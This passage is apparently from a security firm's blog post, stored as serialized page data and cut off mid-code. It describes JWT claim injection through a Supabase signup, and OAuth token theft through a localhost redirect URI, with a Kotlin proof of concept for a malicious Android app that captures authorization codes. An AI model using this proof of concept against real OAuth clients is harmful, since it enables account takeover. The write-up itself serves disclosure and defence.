Supabase generates a ",{"type":21,"tag":29,"props":72152,"children":72155},{"href":72153,"rel":72154},"https://jwt.io/",[33],[72156],{"type":26,"value":72157},"JWT",{"type":26,"value":72159}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":21,"tag":114,"props":72161,"children":72163},{"id":72162},"jwt-verification",[72164],{"type":26,"value":72165},"JWT verification",{"type":21,"tag":22,"props":72167,"children":72168},{},[72169,72171,72176,72177,72183,72185,72191],{"type":26,"value":72170},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":21,"tag":78,"props":72172,"children":72174},{"className":72173},[],[72175],{"type":26,"value":71818},{"type":26,"value":52},{"type":21,"tag":78,"props":72178,"children":72180},{"className":72179},[],[72181],{"type":26,"value":72182},"identity_data",{"type":26,"value":72184},", in a signup request by manipulating the input inside the ",{"type":21,"tag":78,"props":72186,"children":72188},{"className":72187},[],[72189],{"type":26,"value":72190},"\"data\": {}",{"type":26,"value":72192}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":21,"tag":22,"props":72194,"children":72195},{},[72196,72198,72204,72205,72211,72213,72219],{"type":26,"value":72197},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":21,"tag":78,"props":72199,"children":72201},{"className":72200},[],[72202],{"type":26,"value":72203},"\"role\": \"admin\"",{"type":26,"value":15851},{"type":21,"tag":78,"props":72206,"children":72208},{"className":72207},[],[72209],{"type":26,"value":72210},"\"email_verified\": true",{"type":26,"value":72212},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":21,"tag":78,"props":72214,"children":72216},{"className":72215},[],[72217],{"type":26,"value":72218},"\"test\": \"test\"",{"type":26,"value":72220},", enabling us to inject arbitrary data into the final JWT token.",{"type":21,"tag":22,"props":72222,"children":72223},{},[72224],{"type":21,"tag":3644,"props":72225,"children":72227},{"alt":52869,"src":72226},"/posts/web2-in-web3/image-4.png",[],{"type":21,"tag":22,"props":72229,"children":72230},{},[72231],{"type":26,"value":72232},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":21,"tag":22,"props":72234,"children":72235},{},[72236],{"type":26,"value":72237},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":21,"tag":143,"props":72239,"children":72241},{"className":34058,"code":72240,"language":34060,"meta":7,"style":7},"function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n",[72242],{"type":21,"tag":78,"props":72243,"children":72244},{"__ignoreMap":7},[72245,72270,72282,72351,72400,72448,72493,72516,72553,72569,72576],{"type":21,"tag":153,"props":72246,"children":72247},{"class":155,"line":156},[72248,72252,72257,72261,72266],{"type":21,"tag":153,"props":72249,"children":72250},{"style":170},[72251],{"type":26,"value":34072},{"type":21,"tag":153,"props":72253,"children":72254},{"style":181},[72255],{"type":26,"value":72256}," parseSupaBase",{"type":21,"tag":153,"props":72258,"children":72259},{"style":160},[72260],{"type":26,"value":189},{"type":21,"tag":153,"props":72262,"children":72263},{"style":192},[72264],{"type":26,"value":72265},"token",{"type":21,"tag":153,"props":72267,"children":72268},{"style":160},[72269],{"type":26,"value":2659},{"type":21,"tag":153,"props":72271,"children":72272},{"class":155,"line":166},[72273,72278],{"type":21,"tag":153,"props":72274,"children":72275},{"style":1751},[72276],{"type":26,"value":72277},"    try",{"type":21,"tag":153,"props":72279,"children":72280},{"style":160},[72281],{"type":26,"value":236},{"type":21,"tag":153,"props":72283,"children":72284},{"class":155,"line":225},[72285,72289,72293,72298,72302,72307,72311,72316,72320,72324,72329,72333,72338,72342,72347],{"type":21,"tag":153,"props":72286,"children":72287},{"style":170},[72288],{"type":26,"value":35595},{"type":21,"tag":153,"props":72290,"children":72291},{"style":160},[72292],{"type":26,"value":4236},{"type":21,"tag":153,"props":72294,"children":72295},{"style":192},[72296],{"type":26,"value":72297},"header",{"type":21,"tag":153,"props":72299,"children":72300},{"style":160},[72301],{"type":26,"value":1670},{"type":21,"tag":153,"props":72303,"children":72304},{"style":192},[72305],{"type":26,"value":72306},"payload",{"type":21,"tag":153,"props":72308,"children":72309},{"style":160},[72310],{"type":26,"value":1670},{"type":21,"tag":153,"props":72312,"children":72313},{"style":192},[72314],{"type":26,"value":72315},"signature",{"type":21,"tag":153,"props":72317,"children":72318},{"style":160},[72319],{"type":26,"value":11387},{"type":21,"tag":153,"props":72321,"children":72322},{"style":198},[72323],{"type":26,"value":2367},{"type":21,"tag":153,"props":72325,"children":72326},{"style":192},[72327],{"type":26,"value":72328}," token",{"type":21,"tag":153,"props":72330,"children":72331},{"style":160},[72332],{"type":26,"value":355},{"type":21,"tag":153,"props":72334,"children":72335},{"style":181},[72336],{"type":26,"value":72337},"split",{"type":21,"tag":153,"props":72339,"children":72340},{"style":160},[72341],{"type":26,"value":189},{"type":21,"tag":153,"props":72343,"children":72344},{"style":671},[72345],{"type":26,"value":72346},"'.'",{"type":21,"tag":153,"props":72348,"children":72349},{"style":160},[72350],{"type":26,"value":530},{"type":21,"tag":153,"props":72352,"children":72353},{"class":155,"line":239},[72354,72358,72363,72367,72371,72375,72379,72383,72388,72392,72396],{"type":21,"tag":153,"props":72355,"children":72356},{"style":170},[72357],{"type":26,"value":35595},{"type":21,"tag":153,"props":72359,"children":72360},{"style":192},[72361],{"type":26,"value":72362}," decodedHeader",{"type":21,"tag":153,"props":72364,"children":72365},{"style":198},[72366],{"type":26,"value":255},{"type":21,"tag":153,"props":72368,"children":72369},{"style":192},[72370],{"type":26,"value":40221},{"type":21,"tag":153,"props":72372,"children":72373},{"style":160},[72374],{"type":26,"value":355},{"type":21,"tag":153,"props":72376,"children":72377},{"style":181},[72378],{"type":26,"value":41903},{"type":21,"tag":153,"props":72380,"children":72381},{"style":160},[72382],{"type":26,"value":189},{"type":21,"tag":153,"props":72384,"children":72385},{"style":181},[72386],{"type":26,"value":72387},"atob",{"type":21,"tag":153,"props":72389,"children":72390},{"style":160},[72391],{"type":26,"value":189},{"type":21,"tag":153,"props":72393,"children":72394},{"style":192},[72395],{"type":26,"value":72297},{"type":21,"tag":153,"props":72397,"children":72398},{"style":160},[72399],{"type":26,"value":9951},{"type":21,"tag":153,"props":72401,"children":72402},{"class":155,"line":382},[72403,72407,72412,72416,72420,72424,72428,72432,72436,72440,72444],{"type":21,"tag":153,"props":72404,"children":72405},{"style":170},[72406],{"type":26,"value":35595},{"type":21,"tag":153,"props":72408,"children":72409},{"style":192},[72410],{"type":26,"value":72411}," decodedPayload",{"type":21,"tag":153,"props":72413,"children":72414},{"style":198},[72415],{"type":26,"value":255},{"type":21,"tag":153,"props":72417,"children":72418},{"style":192},[72419],{"type":26,"value":40221},{"type":21,"tag":153,"props":72421,"children":72422},{"style":160},[72423],{"type":26,"value":355},{"type":21,"tag":153,"props":72425,"children":72426},{"style":181},[72427],{"type":26,"value":41903},{"type":21,"tag":153,"props":72429,"children":72430},{"style":160},[72431],{"type":26,"value":189},{"type":21,"tag":153,"props":72433,"children":72434},{"style":181},[72435],{"type":26,"value":72387},{"type":21,"tag":153,"props":72437,"children":72438},{"style":160},[72439],{"type":26,"value":189},{"type":21,"tag":153,"props":72441,"children":72442},{"style":192},[72443],{"type":26,"value":72306},{"type":21,"tag":153,"props":72445,"children":72446},{"style":160},[72447],{"type":26,"value":9951},{"type":21,"tag":153,"props":72449,"children":72450},{"class":155,"line":501},[72451,72455,72459,72464,72468,72472,72477,72481,72485,72489],{"type":21,"tag":153,"props":72452,"children":72453},{"style":1751},[72454],{"type":26,"value":18441},{"type":21,"tag":153,"props":72456,"children":72457},{"style":160},[72458],{"type":26,"value":12308},{"type":21,"tag":153,"props":72460,"children":72461},{"style":192},[72462],{"type":26,"value":72463},"header:",{"type":21,"tag":153,"props":72465,"children":72466},{"style":192},[72467],{"type":26,"value":72362},{"type":21,"tag":153,"props":72469,"children":72470},{"style":160},[72471],{"type":26,"value":1670},{"type":21,"tag":153,"props":72473,"children":72474},{"style":192},[72475],{"type":26,"value":72476},"payload:",{"type":21,"tag":153,"props":72478,"children":72479},{"style":192},[72480],{"type":26,"value":72411},{"type":21,"tag":153,"props":72482,"children":72483},{"style":160},[72484],{"type":26,"value":1670},{"type":21,"tag":153,"props":72486,"children":72487},{"style":192},[72488],{"type":26,"value":72315},{"type":21,"tag":153,"props":72490,"children":72491},{"style":160},[72492],{"type":26,"value":20996},{"type":21,"tag":153,"props":72494,"children":72495},{"class":155,"line":533},[72496,72500,72504,72508,72512],{"type":21,"tag":153,"props":72497,"children":72498},{"style":160},[72499],{"type":26,"value":18476},{"type":21,"tag":153,"props":72501,"children":72502},{"style":1751},[72503],{"type":26,"value":50701},{"type":21,"tag":153,"props":72505,"children":72506},{"style":160},[72507],{"type":26,"value":5820},{"type":21,"tag":153,"props":72509,"children":72510},{"style":192},[72511],{"type":26,"value":17566},{"type":21,"tag":153,"props":72513,"children":72514},{"style":160},[72515],{"type":26,"value":2659},{"type":21,"tag":153,"props":72517,"children":72518},{"class":155,"line":542},[72519,72524,72528,72532,72536,72541,72545,72549],{"type":21,"tag":153,"props":72520,"children":72521},{"style":192},[72522],{"type":26,"value":72523},"        console",{"type":21,"tag":153,"props":72525,"children":72526},{"style":160},[72527],{"type":26,"value":355},{"type":21,"tag":153,"props":72529,"children":72530},{"style":181},[72531],{"type":26,"value":17566},{"type":21,"tag":153,"props":72533,"children":72534},{"style":160},[72535],{"type":26,"value":189},{"type":21,"tag":153,"props":72537,"children":72538},{"style":671},[72539],{"type":26,"value":72540},"'Error parsing token:'",{"type":21,"tag":153,"props":72542,"children":72543},{"style":160},[72544],{"type":26,"value":1670},{"type":21,"tag":153,"props":72546,"children":72547},{"style":192},[72548],{"type":26,"value":17566},{"type":21,"tag":153,"props":72550,"children":72551},{"style":160},[72552],{"type":26,"value":530},{"type":21,"tag":153,"props":72554,"children":72555},{"class":155,"line":762},[72556,72560,72565],{"type":21,"tag":153,"props":72557,"children":72558},{"style":1751},[72559],{"type":26,"value":18441},{"type":21,"tag":153,"props":72561,"children":72562},{"style":170},[72563],{"type":26,"value":72564}," null",{"type":21,"tag":153,"props":72566,"children":72567},{"style":160},[72568],{"type":26,"value":1759},{"type":21,"tag":153,"props":72570,"children":72571},{"class":155,"line":776},[72572],{"type":21,"tag":153,"props":72573,"children":72574},{"style":160},[72575],{"type":26,"value":539},{"type":21,"tag":153,"props":72577,"children":72578},{"class":155,"line":795},[72579],{"type":21,"tag":153,"props":72580,"children":72581},{"style":160},[72582],{"type":26,"value":548},{"type":21,"tag":114,"props":72584,"children":72585},{"id":43025},[72586],{"type":26,"value":43028},{"type":21,"tag":22,"props":72588,"children":72589},{},[72590,72592,72599,72601,72607],{"type":26,"value":72591},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":21,"tag":29,"props":72593,"children":72596},{"href":72594,"rel":72595},"https://supabase.com/docs/guides/database/postgres/row-level-security",[33],[72597],{"type":26,"value":72598},"Row-Level Security",{"type":26,"value":72600}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":21,"tag":78,"props":72602,"children":72604},{"className":72603},[],[72605],{"type":26,"value":72606},"app_metadata",{"type":26,"value":72608},". These fields must be strictly validated at every step of their creation and update processes.",{"type":21,"tag":66,"props":72610,"children":72612},{"id":72611},"oauth-in-development-environments",[72613],{"type":26,"value":72614},"OAuth in development environments",{"type":21,"tag":22,"props":72616,"children":72617},{},[72618,72620,72627,72629,72634],{"type":26,"value":72619},"After watching a ",{"type":21,"tag":29,"props":72621,"children":72624},{"href":72622,"rel":72623},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[33],[72625],{"type":26,"value":72626},"talk",{"type":26,"value":72628}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":21,"tag":78,"props":72630,"children":72632},{"className":72631},[],[72633],{"type":26,"value":72060},{"type":26,"value":72635}," parameter during the OAuth flow.",{"type":21,"tag":22,"props":72637,"children":72638},{},[72639,72641,72648],{"type":26,"value":72640},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":21,"tag":29,"props":72642,"children":72645},{"href":72643,"rel":72644},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[33],[72646],{"type":26,"value":72647},"Remote Code Execution",{"type":26,"value":72649}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":21,"tag":22,"props":72651,"children":72652},{},[72653,72655,72661],{"type":26,"value":72654},"In one of our client's implementations, we identified that ",{"type":21,"tag":78,"props":72656,"children":72658},{"className":72657},[],[72659],{"type":26,"value":72660},"localhost:3000",{"type":26,"value":72662}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":21,"tag":22,"props":72664,"children":72665},{},[72666],{"type":26,"value":72667},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":21,"tag":143,"props":72669,"children":72673},{"className":72670,"code":72671,"language":72672,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[72674],{"type":21,"tag":78,"props":72675,"children":72676},{"__ignoreMap":7},[72677],{"type":21,"tag":153,"props":72678,"children":72679},{"class":155,"line":156},[72680],{"type":21,"tag":153,"props":72681,"children":72682},{},[72683],{"type":26,"value":72671},{"type":21,"tag":22,"props":72685,"children":72686},{},[72687],{"type":26,"value":72688},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":21,"tag":143,"props":72690,"children":72694},{"className":72691,"code":72692,"language":72693,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n}\n","kotlin",[72695],{"type":21,"tag":78,"props":72696,"children":72697},{"__ignoreMap":7},[72698,72725,72732,72764,72786,72793,72801,72823,72835,72847,72882,72908,72958,72965,72972,72979,72987,73009,73044,73057,73064,73071,73092,73118,73130,73151,73168,73180,73206,73245,73266,73274,73286,73311,73323,73336,73344,73351,73359,73367,73374,73404,73411],{"type":21,"tag":153,"props":72699,"children":72700},{"class":155,"line":156},[72701,72706,72711,72716,72721],{"type":21,"tag":153,"props":72702,"children":72703},{"style":170},[72704],{"type":26,"value":72705},"class",{"type":21,"tag":153,"props":72707,"children":72708},{"style":214},[72709],{"type":26,"value":72710}," MainActivity",{"type":21,"tag":153,"props":72712,"children":72713},{"style":160},[72714],{"type":26,"value":72715}," : ",{"type":21,"tag":153,"props":72717,"children":72718},{"style":214},[72719],{"type":26,"value":72720},"AppCompatActivity",{"type":21,"tag":153,"props":72722,"children":72723},{"style":160},[72724],{"type":26,"value":18433},{"type":21,"tag":153,"props":72726,"children":72727},{"class":155,"line":166},[72728],{"type":21,"tag":153,"props":72729,"children":72730},{"emptyLinePlaceholder":16},[72731],{"type":26,"value":759},{"type":21,"tag":153,"props":72733,"children":72734},{"class":155,"line":225},[72735,72740,72744,72749,72754,72759],{"type":21,"tag":153,"props":72736,"children":72737},{"style":170},[72738],{"type":26,"value":72739},"    override",{"type":21,"tag":153,"props":72741,"children":72742},{"style":170},[72743],{"type":26,"value":8936},{"type":21,"tag":153,"props":72745,"children":72746},{"style":181},[72747],{"type":26,"value":72748}," onCreate",{"type":21,"tag":153,"props":72750,"children":72751},{"style":160},[72752],{"type":26,"value":72753},"(savedInstanceState: ",{"type":21,"tag":153,"props":72755,"children":72756},{"style":214},[72757],{"type":26,"value":72758},"Bundle",{"type":21,"tag":153,"props":72760,"children":72761},{"style":160},[72762],{"type":26,"value":72763},"?) {\n",{"type":21,"tag":153,"props":72765,"children":72766},{"class":155,"line":239},[72767,72772,72776,72781],{"type":21,"tag":153,"props":72768,"children":72769},{"style":170},[72770],{"type":26,"value":72771},"        super",{"type":21,"tag":153,"props":72773,"children":72774},{"style":160},[72775],{"type":26,"value":355},{"type":21,"tag":153,"props":72777,"children":72778},{"style":181},[72779],{"type":26,"value":72780},"onCreate",{"type":21,"tag":153,"props":72782,"children":72783},{"style":160},[72784],{"type":26,"value":72785},"(savedInstanceState)\n",{"type":21,"tag":153,"props":72787,"children":72788},{"class":155,"line":382},[72789],{"type":21,"tag":153,"props":72790,"children":72791},{"emptyLinePlaceholder":16},[72792],{"type":26,"value":759},{"type":21,"tag":153,"props":72794,"children":72795},{"class":155,"line":501},[72796],{"type":21,"tag":153,"props":72797,"children":72798},{"style":3050},[72799],{"type":26,"value":72800},"        // Start the Ktor web server\n",{"type":21,"tag":153,"props":72802,"children":72803},{"class":155,"line":533},[72804,72809,72814,72819],{"type":21,"tag":153,"props":72805,"children":72806},{"style":181},[72807],{"type":26,"value":72808},"        CoroutineScope",{"type":21,"tag":153,"props":72810,"children":72811},{"style":160},[72812],{"type":26,"value":72813},"(Dispatchers.IO).",{"type":21,"tag":153,"props":72815,"children":72816},{"style":181},[72817],{"type":26,"value":72818},"launch",{"type":21,"tag":153,"props":72820,"children":72821},{"style":160},[72822],{"type":26,"value":236},{"type":21,"tag":153,"props":72824,"children":72825},{"class":155,"line":542},[72826,72831],{"type":21,"tag":153,"props":72827,"children":72828},{"style":1751},[72829],{"type":26,"value":72830},"            try",{"type":21,"tag":153,"props":72832,"children":72833},{"style":160},[72834],{"type":26,"value":236},{"type":21,"tag":153,"props":72836,"children":72837},{"class":155,"line":762},[72838,72843],{"type":21,"tag":153,"props":72839,"children":72840},{"style":181},[72841],{"type":26,"value":72842},"                startWebServer",{"type":21,"tag":153,"props":72844,"children":72845},{"style":160},[72846],{"type":26,"value":10462},{"type":21,"tag":153,"props":72848,"children":72849},{"class":155,"line":776},[72850,72855,72860,72864,72869,72873,72878],{"type":21,"tag":153,"props":72851,"children":72852},{"style":160},[72853],{"type":26,"value":72854},"                Log.",{"type":21,"tag":153,"props":72856,"children":72857},{"style":181},[72858],{"type":26,"value":72859},"d",{"type":21,"tag":153,"props":72861,"children":72862},{"style":160},[72863],{"type":26,"value":189},{"type":21,"tag":153,"props":72865,"children":72866},{"style":671},[72867],{"type":26,"value":72868},"\"WebServer\"",{"type":21,"tag":153,"props":72870,"children":72871},{"style":160},[72872],{"type":26,"value":1670},{"type":21,"tag":153,"props":72874,"children":72875},{"style":671},[72876],{"type":26,"value":72877},"\"Server started on http://localhost:3000\"",{"type":21,"tag":153,"props":72879,"children":72880},{"style":160},[72881],{"type":26,"value":5909},{"type":21,"tag":153,"props":72883,"children":72884},{"class":155,"line":795},[72885,72890,72894,72899,72904],{"type":21,"tag":153,"props":72886,"children":72887},{"style":160},[72888],{"type":26,"value":72889},"            } ",{"type":21,"tag":153,"props":72891,"children":72892},{"style":170},[72893],{"type":26,"value":50701},{"type":21,"tag":153,"props":72895,"children":72896},{"style":160},[72897],{"type":26,"value":72898}," (e: ",{"type":21,"tag":153,"props":72900,"children":72901},{"style":214},[72902],{"type":26,"value":72903},"Exception",{"type":21,"tag":153,"props":72905,"children":72906},{"style":160},[72907],{"type":26,"value":2659},{"type":21,"tag":153,"props":72909,"children":72910},{"class":155,"line":808},[72911,72915,72919,72923,72927,72931,72936,72940,72945,72949,72953],{"type":21,"tag":153,"props":72912,"children":72913},{"style":160},[72914],{"type":26,"value":72854},{"type":21,"tag":153,"props":72916,"children":72917},{"style":181},[72918],{"type":26,"value":53745},{"type":21,"tag":153,"props":72920,"children":72921},{"style":160},[72922],{"type":26,"value":189},{"type":21,"tag":153,"props":72924,"children":72925},{"style":671},[72926],{"type":26,"value":72868},{"type":21,"tag":153,"props":72928,"children":72929},{"style":160},[72930],{"type":26,"value":1670},{"type":21,"tag":153,"props":72932,"children":72933},{"style":671},[72934],{"type":26,"value":72935},"\"Error starting server: ",{"type":21,"tag":153,"props":72937,"children":72938},{"style":170},[72939],{"type":26,"value":36802},{"type":21,"tag":153,"props":72941,"children":72942},{"style":198},[72943],{"type":26,"value":72944},"e.message",{"type":21,"tag":153,"props":72946,"children":72947},{"style":170},[72948],{"type":26,"value":36834},{"type":21,"tag":153,"props":72950,"children":72951},{"style":671},[72952],{"type":26,"value":22756},{"type":21,"tag":153,"props":72954,"children":72955},{"style":160},[72956],{"type":26,"value":72957},", e)\n",{"type":21,"tag":153,"props":72959,"children":72960},{"class":155,"line":820},[72961],{"type":21,"tag":153,"props":72962,"children":72963},{"style":160},[72964],{"type":26,"value":61177},{"type":21,"tag":153,"props":72966,"children":72967},{"class":155,"line":842},[72968],{"type":21,"tag":153,"props":72969,"children":72970},{"style":160},[72971],{"type":26,"value":2765},{"type":21,"tag":153,"props":72973,"children":72974},{"class":155,"line":3204},[72975],{"type":21,"tag":153,"props":72976,"children":72977},{"emptyLinePlaceholder":16},[72978],{"type":26,"value":759},{"type":21,"tag":153,"props":72980,"children":72981},{"class":155,"line":3230},[72982],{"type":21,"tag":153,"props":72983,"children":72984},{"style":3050},[72985],{"type":26,"value":72986},"        // Open the Google OAuth page\n",{"type":21,"tag":153,"props":72988,"children":72989},{"class":155,"line":3239},[72990,72995,73000,73004],{"type":21,"tag":153,"props":72991,"children":72992},{"style":170},[72993],{"type":26,"value":72994},"        val",{"type":21,"tag":153,"props":72996,"children":72997},{"style":160},[72998],{"type":26,"value":72999}," googleOAuthUrl ",{"type":21,"tag":153,"props":73001,"children":73002},{"style":198},[73003],{"type":26,"value":2367},{"type":21,"tag":153,"props":73005,"children":73006},{"style":671},[73007],{"type":26,"value":73008}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":21,"tag":153,"props":73010,"children":73011},{"class":155,"line":3253},[73012,73016,73021,73025,73030,73035,73039],{"type":21,"tag":153,"props":73013,"children":73014},{"style":170},[73015],{"type":26,"value":72994},{"type":21,"tag":153,"props":73017,"children":73018},{"style":160},[73019],{"type":26,"value":73020}," browserIntent ",{"type":21,"tag":153,"props":73022,"children":73023},{"style":198},[73024],{"type":26,"value":2367},{"type":21,"tag":153,"props":73026,"children":73027},{"style":181},[73028],{"type":26,"value":73029}," Intent",{"type":21,"tag":153,"props":73031,"children":73032},{"style":160},[73033],{"type":26,"value":73034},"(Intent.ACTION_VIEW, Uri.",{"type":21,"tag":153,"props":73036,"children":73037},{"style":181},[73038],{"type":26,"value":41903},{"type":21,"tag":153,"props":73040,"children":73041},{"style":160},[73042],{"type":26,"value":73043},"(googleOAuthUrl))\n",{"type":21,"tag":153,"props":73045,"children":73046},{"class":155,"line":3301},[73047,73052],{"type":21,"tag":153,"props":73048,"children":73049},{"style":181},[73050],{"type":26,"value":73051},"        startActivity",{"type":21,"tag":153,"props":73053,"children":73054},{"style":160},[73055],{"type":26,"value":73056},"(browserIntent)\n",{"type":21,"tag":153,"props":73058,"children":73059},{"class":155,"line":3346},[73060],{"type":21,"tag":153,"props":73061,"children":73062},{"style":160},[73063],{"type":26,"value":539},{"type":21,"tag":153,"props":73065,"children":73066},{"class":155,"line":3355},[73067],{"type":21,"tag":153,"props":73068,"children":73069},{"emptyLinePlaceholder":16},[73070],{"type":26,"value":759},{"type":21,"tag":153,"props":73072,"children":73073},{"class":155,"line":3364},[73074,73079,73083,73088],{"type":21,"tag":153,"props":73075,"children":73076},{"style":170},[73077],{"type":26,"value":73078},"    private",{"type":21,"tag":153,"props":73080,"children":73081},{"style":170},[73082],{"type":26,"value":8936},{"type":21,"tag":153,"props":73084,"children":73085},{"style":181},[73086],{"type":26,"value":73087}," startWebServer",{"type":21,"tag":153,"props":73089,"children":73090},{"style":160},[73091],{"type":26,"value":18433},{"type":21,"tag":153,"props":73093,"children":73094},{"class":155,"line":3376},[73095,73100,73105,73109,73114],{"type":21,"tag":153,"props":73096,"children":73097},{"style":181},[73098],{"type":26,"value":73099},"        embeddedServer",{"type":21,"tag":153,"props":73101,"children":73102},{"style":160},[73103],{"type":26,"value":73104},"(CIO, port ",{"type":21,"tag":153,"props":73106,"children":73107},{"style":198},[73108],{"type":26,"value":2367},{"type":21,"tag":153,"props":73110,"children":73111},{"style":300},[73112],{"type":26,"value":73113}," 3000",{"type":21,"tag":153,"props":73115,"children":73116},{"style":160},[73117],{"type":26,"value":2659},{"type":21,"tag":153,"props":73119,"children":73120},{"class":155,"line":3393},[73121,73126],{"type":21,"tag":153,"props":73122,"children":73123},{"style":181},[73124],{"type":26,"value":73125},"            routing",{"type":21,"tag":153,"props":73127,"children":73128},{"style":160},[73129],{"type":26,"value":236},{"type":21,"tag":153,"props":73131,"children":73132},{"class":155,"line":3405},[73133,73138,73142,73147],{"type":21,"tag":153,"props":73134,"children":73135},{"style":170},[73136],{"type":26,"value":73137},"                get",{"type":21,"tag":153,"props":73139,"children":73140},{"style":160},[73141],{"type":26,"value":189},{"type":21,"tag":153,"props":73143,"children":73144},{"style":671},[73145],{"type":26,"value":73146},"\"{...}\"",{"type":21,"tag":153,"props":73148,"children":73149},{"style":160},[73150],{"type":26,"value":2659},{"type":21,"tag":153,"props":73152,"children":73153},{"class":155,"line":3427},[73154,73159,73164],{"type":21,"tag":153,"props":73155,"children":73156},{"style":160},[73157],{"type":26,"value":73158},"                    call.",{"type":21,"tag":153,"props":73160,"children":73161},{"style":181},[73162],{"type":26,"value":73163},"respondHtml",{"type":21,"tag":153,"props":73165,"children":73166},{"style":160},[73167],{"type":26,"value":236},{"type":21,"tag":153,"props":73169,"children":73170},{"class":155,"line":3448},[73171,73176],{"type":21,"tag":153,"props":73172,"children":73173},{"style":181},[73174],{"type":26,"value":73175},"                        head",{"type":21,"tag":153,"props":73177,"children":73178},{"style":160},[73179],{"type":26,"value":236},{"type":21,"tag":153,"props":73181,"children":73182},{"class":155,"line":3456},[73183,73188,73193,73197,73202],{"type":21,"tag":153,"props":73184,"children":73185},{"style":181},[73186],{"type":26,"value":73187},"                            meta",{"type":21,"tag":153,"props":73189,"children":73190},{"style":160},[73191],{"type":26,"value":73192},"(charset ",{"type":21,"tag":153,"props":73194,"children":73195},{"style":198},[73196],{"type":26,"value":2367},{"type":21,"tag":153,"props":73198,"children":73199},{"style":671},[73200],{"type":26,"value":73201}," \"UTF-8\"",{"type":21,"tag":153,"props":73203,"children":73204},{"style":160},[73205],{"type":26,"value":5909},{"type":21,"tag":153,"props":73207,"children":73208},{"class":155,"line":3493},[73209,73213,73218,73222,73227,73232,73236,73241],{"type":21,"tag":153,"props":73210,"children":73211},{"style":181},[73212],{"type":26,"value":73187},{"type":21,"tag":153,"props":73214,"children":73215},{"style":160},[73216],{"type":26,"value":73217},"(name 